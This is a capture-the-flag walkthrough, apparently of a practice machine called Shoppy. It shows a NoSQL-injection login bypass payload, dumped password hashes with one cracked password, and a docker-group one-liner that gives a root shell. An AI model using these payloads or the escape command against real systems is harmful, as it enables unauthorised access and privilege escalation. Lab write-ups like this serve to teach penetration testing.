PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9093/tcp open copycat
A few ports open, we’ll start with the web server.

Nothing immediately interesting but a quick directory enumeration takes us to a login page.

While fuzzing for subdomains I find mattermost.shoppy.htb but I am convinced it’s a rabbit hole so will leave it for now and return to the main index

After spending quite some time on the login form of Shoppy I discover it’s vulnerable to NoSQLi. Using the payload admin’||’1’==’ lets us bypass straight into the admin portal.

Inputting exactly the same payload into the search users box gives us usernames and hashes, we can quickly crack Josh’s password.
_id "62db0e93d6d6a999a66ee67a" username "admin" password "23c6877d9e2b564ef8b32c3a23de27b2" 1 _id "62db0e93d6d6a999a66ee67b" username "josh" password "6ebcea65320589ca4f2f1ce039975995" remembermethisway
These creds don’t let us into SSH but remembering the subdomain we found early I am able to log in as josh./

Inside one of the chats we find credentials that do log us into the SSH.

jaeger@shoppy:~/ShoppyApp$ sudo -l [sudo] password for jaeger: Matching Defaults entries for jaeger on shoppy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User jaeger may run the following commands on shoppy: (deploy) /home/deploy/password-manager
Seeing we can run password-manager as another user I’ll have a try.

So it seems I’ll need a password, I check back in the mattermost chat. Josh mentions working on a C++ password manager so I download it locally and have a look at the code in Ghidra.

We can see here that the password manager is looking only for the string “Sample”.

Now we get to move into a new user!

Our new account is not able to sudo anything, but is a member of the docker group, so this means we should be able to pop into a root shell with a simple one liner…
deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
So now we can grab the root flag and the box is done.
A great room, I enjoyed that there wasn’t one hard sticking point. Took me a while to get the NoSQLi payload right.